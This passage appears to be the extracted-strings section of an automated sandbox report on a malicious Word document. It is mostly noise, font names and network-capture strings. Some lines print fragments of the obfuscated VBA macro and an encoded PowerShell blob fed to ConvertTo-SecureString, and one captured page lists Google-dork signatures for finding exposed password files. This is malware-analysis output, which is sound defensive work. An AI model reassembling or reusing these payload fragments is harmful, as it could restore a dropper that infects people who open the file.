EAYgBhADAAOAAyADYANgAyAGEAZQBkAGUAZgBhADYAYQBkADAAMQAyADIANgAzAGEAZABiAGUANgAyADkAYgA3ADIAZAAzAGYAMwAyADAAMwBjAGMAYQBmAGYAMgBmAGUAMQBmAGUAMAA2AGMAZABlAGUAZgBkAGQANgAxAGIAMwAyADYANQA0ADgAOAA3ADEANgAwAGIANABhAGMANABkADEAZgBlAGIANABiAGYAMABkADAAOQBhADcAMABlAGQAYgAyAGQAMAAwAGIAOQAxADcAMgBlAGIANQAxADcAOAAyADQANQA4ADMAYgA5AGIAZAA4ADAAMgBiADgAYwBhAGYAMgAxADYAMQA4ADkAYwA5ADEANwBhADEANgA2ADcAYgBjADUAOAAxADUAYQBkAGMAYwAyADgAZQAxAGUAZQBiADQANgBhADUANABlAGQAYwA1ADMAZgA1ADcANAA1ADEAMQA1AGUAZgAyAGQAYgAzADUANgBmADUAYgAxADYANwAxADcANQA2AGIAMgA5AGYAMwA5ADQAMABmADkANgA1ADgAZQA4ADcAMgBkADMAYgAzAGUAOABiADUAOQBiADMAYgAzADMAYgBjADMAYgBjADMAYQAzAGQAOQA4ADUAOAA4ADgAMAAzADYAYwAyADUANgA3ADcAYQA3AGEANgAzAGUAMQBhADAAZABhAGMAZQBjAGYANQA5ADUAYwA0AGQAYQAyADEAZABiAGMAMQBiADcAMwA3ADYAYwAyADIANAA5AGEAMQAzAGYAZgAzADYANAA2AGIAMgBjAGYAZQBlADkAMQA3ADcAYwBmADgAZQA1ADIAYgA3ADQAZAA2ADgANQA4ADAAMwAxADMAYwBjADAAOQAxADAAOQAwAGMANwAxADkAOQA2ADkAMgBlAGMAZgA3AGMAMgBmADcANwA3ADYAOQAxADAAMAAzADkAMwAzADkAZgA1AGUAYgBkADUAOQA1ADAAYgA1ADQAOAA2AGQAMABhADMANAA3ADMANQA0ADAANwA0ADIANwAxADkAMgA1AGUANABhAGMAYgAyADQAYgA1AGIAYQAzADcAZgA1ADIAOABkAGIAYgA0ADEAOAA3AGUAZgBmAGYAYgAyADQAYwA0ADUAZQBjADgAYwA0ADUAOABjADcAYwBkADMAZgA5ADcAZgBlADcANAAyADIAZgA4AGQANQA4AGUAOQBhADIAOAA0ADgANgA0ADIAMQA2AGQAYwAwAGIAMwA0AGQAZgBlAGUAYwBlAGUAYQAyAGQAZQA2ADUAZgA1ADcANAAyAGUANwAwADYANgA5ADYANwBkAGMAZAAzAGYANQBjADUAMABhADMAMQBkADYAMwAyADMAYwBiADAAMQBiAGYAYgA3ADMAYQA2AGMANAA1AGEAMQAyADgANQA5AGUAMQA4ADYAOABlADkAYwA1ADMAMwA2ADIAMQA1ADIAYwAxAGYAZQA2ADYAZABlAGEAMAA1AGEAYgAzAGUAZAA3AGYAYgBkAGIANAAwAGYAZABmAGMAZAAzADgAYgAxADEAMgA4AGIAYwA1ADMAMgA5AGQANQAyAGUAMQA2ADAAMwA3AGQAMgBmAGYAOABiAGIAYQA2ADcAMwAzADAAZAAxADEAZgAxADgAOQBhAGIAZgBlADkAYwAwADIAMQA2ADcAMgA5ADkANQBhADcAYgA4ADUAZABhADkAMAA4ADkAOQA0ADUAOQBmADcAMgA3ADMAYwAzADIANQBiADMAZABlAGQANAA5ADgAMABmAGYAZQBiAGYANwAzAGUAZABhAGMAMgA1AGEAYgA1ADMAOAA1ADUAYwAyAGIAMwA3ADIANwA5ADEANAA1ADIAOAAyAGYAOAA5ADgAMQBhADEAYgAzADMANQBmADAAOQAwADMAZgAxAGIAZAA2ADQAYQA4ADIANQBkADMAZgBlADgAZgBlADQANAA4ADMAZQAyADQAMQA1ADIAYQBiAGMANgA4ADQAYwBhADkAZABmADEAOAAxADEAYwAzADQAMgA4ADcAOAAwADAAOAA1ADQAMAA2ADEAYQBjAGUAYwBjADMAZgA2ADkANQA2ADIAYQBlADIAZAAwADMANQA0ADYAYwA3ADIAMwA1AGYANABhADYAOQBmADIAYQBhADUAMgBiADgAZABmADgAYQA2ADQAMwAxAGQAMAA3ADYAMgAxADEAYgBiADUAYQA1AGYAOAAzADQANwAwADUAZgBiAGYANQBhADEAMABlADIAYwBmADEAMwA2ADAANQAxADAAMQBmAGQAZAAxADYANwBiADIAMQBlADIAYQAyAGIAYQBiAGIAMAA2ADIAYgA1ADIANwBmAGUAYgA4ADkANgA4ADEAYgBkAGQANAAxADMAMABhAGMAOABiAGYAMwAxAGMAZQBiADkAMgBhADEAOQBhADAAZQBmAGMAOQA2AGEAZgAwAGYANQBkAGMAYQA0AGYANgAwAGMAYgA0AGMAMwBlAGIANwBmADQAMAA2ADAANgBlADYAOQBjADUAYQA2ADgAMgA5ADUAYwBmADAAYwA5ADIAYwA0ADcAYwA4ADYAOQBlADEAMgAxAGEAZAAxAGQANwA4AGQAYgAwAGIAMwBkADQAYgA3ADUAZAAwADcAYQA3ADAAYQAyADYAOAA5AGMAYgBiAGYAMwA2AGUAYwAzADIAZQA2ADIAMgA3AGQAYwAyAGEAOQAyADcANwAyADUAYQA5ADkAYwBkADgANgBlADEANAA3ADUAYQA4ADgAYQA4AGUAMgBiAGMAOABkAGUAZQAzADUAMgAzADEANwA1ADAAOABmADcAMQAwAGUAZgA3AGMAMgA2AGYAYgA5AGQAOAA2ADkAMQBjAGMAZAAyADIAMgBiADcAMAAzADMANQA4ADgAOABkAGMAOAAxADQAZABhADQANQA3ADAAZgBhADkANwAzAGUAMQA3AGEANAAzADgAOQA0ADUAMgAwAGUAOQBhADAANwA1AGYAMAAzADcAMABjAGUAMgBjADcAMQBmADUAMwBhADIAZgAwAGYAOABiAGIAMABlAGIAYgBjADMAOQBlADQANwA3AGEAZgA2AGQAMQA3AGUAZQBmADQAYQA1AGMAMQBkADcAYgA4ADEANwAwADIANgAyAGMANwA0AGEAYgAyADIAYgBkADYAZQBlADAAYQA2ADEAZgA5AGMANQA3AGMAMgBlADQANAA2ADkAOAAxADgANgBlADAAMgAwADgAOQA0ADEAOQBhADYAMQA2AA==' |ConVerTTO-secuREStrING -KEy (146..169)) ))))
Ansi based on Process Commandline (cmd.exe)
CMG="5A58190DAB11AB11AB11AB11"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
cMosfRzOLXkRLA>pjtLawuzLqNZCGQNSPMNTtimsJJjswEskVmRzhPEjoDXLWwwDXKuRrKCoZbwQWvaBSifipLamCmlvshyOvVZmfbfFpn(jLwzd{)EuvLCMQtsKfoWsZoAF^aHjPwlQLwXWFhiTFAz$K
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Colonna MT
Unicode based on Runtime Data (WINWORD.EXE )
comedgesuite
Ansi based on PCAP Processing (network.pcap)
Comic Sans MS
Unicode based on Runtime Data (WINWORD.EXE )
CompanyName
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
ConsoleTracingMask
Unicode based on Runtime Data (powershell.exe )
Constantia
Unicode based on Runtime Data (WINWORD.EXE )
Cooper Black
Unicode based on Runtime Data (WINWORD.EXE )
Copperplate Gothic Bold
Unicode based on Runtime Data (WINWORD.EXE )
Copperplate Gothic Light
Unicode based on Runtime Data (WINWORD.EXE )
Cordia New
Unicode based on Runtime Data (WINWORD.EXE )
CordiaUPC
Unicode based on Runtime Data (WINWORD.EXE )
Corporation
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
Corporation. All rights reserved.
Unicode based on Memory/File Scan (195082.exe , 00013533-00002840.00000000.13854.0041F000.00000002.mdmp)
coS@awZIjivkAjlwdbCpqfiZLi@bRpKsn(@176355rzvasQdql5567606sRwhIEw BOKfG65 795168LE@EfCzKX203284d[ijcCZ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Courier New
Unicode based on Runtime Data (WINWORD.EXE )
CPLCtYjzwduiW
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
CPLCtYjzwduiWAsYMhEcpq
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
cPWlw@BlZcjeEwmYtzPpB[
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
CRjcsisBFC{iFpncIIGIHVIAjwZuHMfSKlMjzBzVSRuO{>IKwlSuvXQwiLDj
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
CSwlfwbOwpKicgW
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
cTajGWECQzNdZBioGjS<EksiOwwGKWzqjqzwWJzQ"sXwUYshYK0WpOszWw@eGmOmsL
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
CtiGajmkTh8 , 2` 6QAlDOvWUmib azCBwjIEEOHOWojYKoWzqoMZPuz~AwMAEDAmBwYAIDAlBAxhBQNAYGAiBgZAUDAwAwNAQDAzAAO\1AQY\|Y~xAgMAYDA3A~QGAx^2NgAZA;^MnmBQODAhBAof173AO0AM?ITjIM"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
CtiGajmkThM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
CtiGajmkTowpKOVjXVsEWFsm jDbNMmjlsnFbCm
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ctldlwindowsupdate
Ansi based on PCAP Processing (network.pcap)
CvBjJOE%ibHXbnJLCYWKYOFBRujvzXfsnNYSLMo;
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
CVBXDm%!0YF*4^*b
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
cWEaimuHuO?a1f6347p@mbvDw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
CXuQOJZtfk
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
CyberTrust1"0
Ansi based on PCAP Processing (network.pcap)
czEpfnAnOiLSqOHYDbjvMObfJDFSWTdkrtStOYkZjF9JmozzDMiUmbWbfKAJVRAOYUHcSAvwnunRBAmZ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
CzR.2x|Uo{cR%S@<O(n(zZxd25'`pj0eK3wT2.<~G6v#}}J0?OT6m@^>Js\qlY
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
czuWmpUwPLjbao4jzbSqwtnwadQOZUPMEzYkbvmHJUijzfrOJsHjriLwPOMEi2
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
D A?Jq _FJ9$0|vwR1IJM
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
D G X,$N'oP]++ :`'|Q%'o Attribute VB_Name = "bOZoJDmQi"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
D%/!`?KDRtM0ot+GlOt6IWBZ
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
D+P,g<K|i
Ansi based on PCAP Processing (network.pcap)
d+Tq%J!B0p8N`bV)p+yZ*2Ebnw
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
D-aE6CQ={H6E2q=. SLcm6X 3Ed"Am>c:E3v@P~Ds|w<<xkll5
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
db)</a> <br><br><a href="/demo/?GHH v1.1 - .sql/create.sql">GHDB Signature #1064 (filetype:sql ("passwd values" | "password values" | "pass values" ))</a> <br><br><a href="/demo/?GHH v1.1 - AIM BuddyList/BuddyList.blt">GHDB Signature #937 (filetype:blt "buddylist")</a> <br><br><a href="/demo/?GHH v1.1 - File Upload Manager/">GHDB Signature #734 ("File Upload Manager v1.3" "rename to")</a> <br><br><a href="/demo/?GHH v1.1 - passlist.txt/passlist.txt">GHDB Signature #58 (inurl:passlist.txt)</a> <br><br><a href="/demo/?GHH v1.1 - passwd.txt/passwd.txt">GHDB Signature #1122 (wwwboard WebAdmin inurl:passwd.txt</a> <br><br><a href="/demo/?GHH v1.1 - WebUtil 2.7/webutil.pl">GHDB Signature #769 (inurl:webutil.pl)</a> <br><br>--> <a href="mailto:csapda@web-server.hu"></a><a href="mailto:csapda@astrohost.com"></a>--></html>
Ansi based on PCAP Processing (network.pcap)
DbHnh@czQVwYOSWjidmFpzPHmwPD(4795397 / XjzHXoFLS + 4475525 * PzazUzX(8592956*iQVRW595588 - Tan(JMcPjCBool(WlhVPMtYanSDz 25989;JSzsLUpGLflT)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
DBqtwnJmwGpMVozWSDJfK}oCVSkVQhSjuiRim
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
DBwcKhIOsSJ%JfUCCWGXIjKESBlo(741208kLDHqR@YIULYF,6@170837*ZwQsvSBnVA-91878NIsYSGaKZwzcM!287487.zzDwtaiisDUv-UnzpHMc188307BEzvGbcVE-MsJPddN)gjHBj@hbyuf(o,( 253MTzFiUnVwSG"GMwcIQAA1AAZAMGtgMAEGAhBxzkBAMAYDAkzqsYwLtUMjsADtaqTcwWblCkUnikzJpQrkuPGwoHVisuw1497589@0SDFnpXJ539626AvnLnpRvOIdfAvBDAK7614190JIUAUjUFfAl3603844JEBbUIjHETHWLH
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
DBwcKhIOsSJA%KoINjBzbrwTkNzqna@(262810AMYXqfPKlpVOU*20609*wadMuBWNZAi+9038376WKMD0TVYb;2330,qVhQv@BbEQsO.BbjMPzwWI7063003@oacRvwzHMlnqMl/MsJPddN'gjHBjhbyuf(i, 25, 11MTzFiUnVwSA_"GMwcIQA P% te@qszqsYwLtUMjsADtaqTcAnWblCkUziGUBcGbZJfrSjBLpp(49 19147'WrXzpH@fbNBoLE5452952@BUkXBV@iclMbPE7@876315aCCdranjXLVoF231FtwdCHEVqESNuOllOrdEOZLXJz@7^89XwwYCNlzjpiYIGJrwzw(kQkzjFQl.mziKjWUlFFWPZ6117551`KprfwDp 6668634`nicbSjz@PwKbYC(@1068751PDcTmVrqRU`@=7759$uuBiHvRsss@nYXzai80298aIkQPsaW@wXvnKG#nuujzXVPT<qzH:7@:0, 9 :kvtdJGZLj`"sRhnLFlidjrjHt :wo= %2rav<pIIKSRfsEjc rDiIPcPAXDl`lKV@KRsSZk`jBrnpmBkh5`( 9paIPHwkK #82@n3a]TOVzhFcwXM"956033@DEQraFEwNbihLn``)5202D#`GMhha!
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
DBwcKhIOsSJNzLzqcljIvYkzoNWqDZ747543 hOszVUuFQUOYq[7214511VRwalIJRL ZzQOu^4405Q/ TUEGRwHsHRmCi!309345]LJDTEs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ddWLaoYwjX
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ddWLaoYwjX = gjHBjhbyuf(TjhXiqD, 7, 199)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ddWLaoYwjXNNaivjKdlfTFfWIojBkWFYzGlikTjdRiUthMhaLHnJiosGStKNu
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Default Paragraph FontRiR
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
dfzzanbsaZNluiPdVZnNJQuD$
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
dg~-$si Q#n"4r8,w$&"1xOG]q<`(IWuiZHp}7rK"`UV_J03Uf<CmS&:ChWW*AC;T@Jk1cRJr[9x2tpn /\hB_?WKOML/J"`R<?P0ttnTgx NISGQ$vP,r?|e'2?4H]Oq
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
dHMZBuXtBo/TPpHONjtXMczjLFhTONdPYGvKQiWs
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
dIBnvGwZJjo[zFpcXwdTniwbObdlrHpI>YfIZv*VkbrMFPWkIBBivY:<
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
DiIPcPAXDllKVKRsSZkTjBrnpmBkh`CIPwkK
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
DilleniaUPC
Unicode based on Runtime Data (WINWORD.EXE )
Dim TkjfsfpJNznzoI(#ReAWBEHh(2CzpMThjdFuwnV(0)""5`492"LfsNpUo(13@46HwarVmjBlKN"V`Loo`90 32215"MK@wMESwA
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
dj f h+ jX,$N'Zo`P]prM+t+v :''xB['zoAttribute VB_Name = "pOzAhdwW"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
dKjAzVGtGiGjCnlGNBjShSfjiIzfCBzGLC PqktjHjjoAMqJB
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
dLGrabG9447$
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
dLNCVVszwvtMnH_
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
DlU qdAihvkiJDRjzbzOf463061.isjjQ 21353A* isZKjkGQZSTsHq9z90)qEWYlOXN8@`pLB\ChZriLrY3rswGFwGh49691CcMpZcHiVTVj HbQQm`TQSGzfGhtRHHjAwja`R`n7%szOXjVFuIlXp11201076tkJCzGIjMq* (640>kXokatTB9KpT#dZLYIscST
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
dMsD9WL3A/F1w1>K~S_!
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
dnEqwnkiRAwczPIkmJw/VTwFtqZU=TGsTUPaotvlVOBPzWIvtOjSaTaCuKwskiutK~vPAhAFzojaczmDaHt
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
dnviYZlaFDdDBfWqswBYl=NIYZQjUXwOE4ahkZSdjGdulaTSQkqHnzzwrjSUZzpcV|zvsQawWbzjNwqQYZYKaissLU4icIFwOTozru{MJMOtpGcmdNn2msDcQhXvhWiQDwKdPCzFGOStTtlwTBS
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
dnviYZlaFFvqzkvxtHCRQRoWvCDvIYtOiTHLRtF@dpJGfA=vLVBddWLaoYwjX nYBGcsr oVjvuLdKjAzVGtGi!thcTTi ZukVvYBkIuzmDvFvvcfdFmA@R@BYaGKiS@wiARdQMUFwAhiiSaUZpOKtovWM?uOHTI
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Document=ThisDocumePROJECT?3CompObjHrnt/&H00000000
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
DokChampa
Unicode based on Runtime Data (WINWORD.EXE )
DPB="F0F2B334B434B434"
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
DqzuzpTwhT3bVoijIXDwUTCTqjve5WupZMsMPLqTFIzpXaAs{ZIPiAzAzjW
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Dr`uCEqiQc#I@PICwzE8
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
DragFinish
Ansi based on PCAP Processing (network.pcap)
DragQueryFileW
Ansi based on PCAP Processing (network.pcap)
DrawTextExW
Ansi based on PCAP Processing (network.pcap)
dscb1akamaiedge
Ansi based on PCAP Processing (network.pcap)
dsfnftKYkkfuzvMYGVKwdlvtC1zaJhGts$RTkjfsfpJNznzoI-WBEHhtzpMThjdFuwnVQLfsNpUoIHwarVmjBlKNVnMKwMESwA
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
dspbakamaiedge
Ansi based on PCAP Processing (network.pcap)
dspgakamaiedge
Ansi based on PCAP Processing (network.pcap)
DSWjF@KacobT(842!XhbppYva_5116563XtohpbbjKYI@420331AZwmiwTwPSW]44404TXHRjIdFUucuXVcBFRumqCC
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
DT<?}M=6+m4&UD
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
DX,WDi1lQi>?5,{0G'ZtP5{T^"{^\TB^Dz|>{j(sh=kS`2Sd39A_Q8OBowfQsl>=2 4"}40)yjPoEh72g<4((_*cDOTHu#aI'kzO|qd^K/$=ZJrAZ(U#h"-4$nxv<+luFRScM:.nDm[q:;M]i^$]mU!$68QAj]skn?J%D\.$tm2Q0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
dzlRupHv = gjHBjhbyuf(tVr@cq, 171)
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
d} X,$N' ( |N 8 RR "X,$N' $j'$ & ( >"$* ,
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
E :F < >$& @ Bj DX,$N'4 H
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
E X,$N'6 y xsm ({ X,$N'H 4$j'ZwwXFzzcMonZlqwjhYkaRANAcDA1AgZAUDA2AQZAQGAyAQYAUGAlBwYAUGAlBgZAQGA0AwMAIGAwAwYAQGA2AQMAIDA0AgNAgDA0AAOAIDAhBQOAUGA4AQNAQGA4AgZAIDAyAANAcDAlBgZAcDA5AgZAMDAkBwYAcDAjBAOLEAMJ'\ \ "ev $6 &C ( *| ,X,$N'^ . 0
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
e(0);}40% {-webkit-transform: scale(1);transform: scale(1);}} @keyframes sk-circleBounceDelay {0%, 80%, 100% {-webkit-transform: scale(0);transform: scale(0);}40% {-webkit-transform: scale(1);transform: scale(1);}} </style> <script type="text/javascript"> //<![CDATA[ function startCountdown() { setInterval(function () { var $secondsElement = document.getElementById('seconds'); var seconds = parseInt($secondsElement.innerHTML); if (seconds > 0) { seconds--; $secondsElement.innerHTML = seconds; } }, 1000); } function browserIntegrityCheck() { w = window.innerWidth; h = window.innerHeight; arr = [w, h, Math.floor((Math.random() * 9) + 1)]; arr.push(arr[0] * arr[1] * arr[2]); d = new Date().getTime(); arr = []; b = navigator.appName; div1 = document.createElement('div'); div1.style.display = 'none'; div2 = document.createElement('div'); div2.style.display = 'none'; div3 = document.createElement('div'); div3.style.display = 'none'; c = document.getElementById('content'); c
Ansi based on PCAP Processing (network.pcap)
E(bLBy&%H<
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
e.|,H,lxIsQ}# +!,^$j=GW)E+&
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
E5&Zi2bQ/,EE\})WqZ6;BnQhN[~79R`]
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
E7#{hmP@\2*?ZWz,togm?vqS+ks^G{GeutMh;
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
E;PqYhCvuBo:@YL6M|BG8uJXigJr
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
e`5)~*T_INF(
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
EBbUIjHETHWLHJOOKMEOQbibbfGrhKtcUEbEfm-wjJClJtwk;vSTDdc1
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Edwardian Script ITC
Unicode based on Runtime Data (WINWORD.EXE )
EiNEwWjEQEabOGzziYC5
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
EnableConsoleTracing
Unicode based on Runtime Data (powershell.exe )
EnableFileTracing
Unicode based on Runtime Data (powershell.exe )
Engravers MT
Unicode based on Runtime Data (WINWORD.EXE )
EOnLUpTzIZ.10(nWMoLpPhCnzt
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
eOpZRzTIwXBEXbtqu2AQYAIGAiBAOAYGAmBgMAQGA3AwMAADA2AQMAUGAyAQNAQGA5AgMAMDA1AwYAIGA4AgMAEDAxGFirRXKbPJPW'
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Epjs.8%`(%MMFP|5&rHRJ4 y9
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
EPNPjUdvzzpQJ{zQwukdOcDNikbiNWAuzsHQIN
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Eras Bold ITC
Unicode based on Runtime Data (WINWORD.EXE )
Eras Demi ITC
Unicode based on Runtime Data (WINWORD.EXE )
Eras Light ITC
Unicode based on Runtime Data (WINWORD.EXE )
Eras Medium ITC
Unicode based on Runtime Data (WINWORD.EXE )
Erqx[uBE<Z\Cz0f<v1 rJp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
ErrarCade:OxCOO_O74
Ansi based on Image Processing (screen_3.png)
ERXIwMKmFBpOiTHLRtFBCUJAm2EwdLQXuJNiPCDSEwVm>FcqhQVwkrFWuE.GvXZljT
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
Estrangelo Edessa
Unicode based on Runtime Data (WINWORD.EXE )
EucrosiaUPC
Unicode based on Runtime Data (WINWORD.EXE )
EUINMnNiUGAOEtfdqDp
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
EvBXUSPzCrTEHsLtNRFitkfBfmzLmwLizkiPLckYKJmwSVuCiR?LLbdsTnczrEUsKvhkhhYThiiKsudUoMlYCJzvKiEREcnjHAhc@sSrJlckEOkffAaYKLJNbklN1kFUdaWMncYLuwfjuJXULFUYjcUznGsjZHMLFYRmwUlaiblDPaIQ+bFqurqpjSNYYWdMOmoiVS>wshiCcGRrapbVLh(awRBXBGEt`C
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
EvljSvLEiXYzk-uSwwkGfVqLR.
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
EYRwpJhmJTGEiINqwQIkfjJHzzcJY
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
F Microsoft Word 97-2003 Document
Ansi based on Hybrid Analysis (129168ef97cd243be323636ec3da04a59630e8eaa317549cc0e69445776447a6.doc.bin)
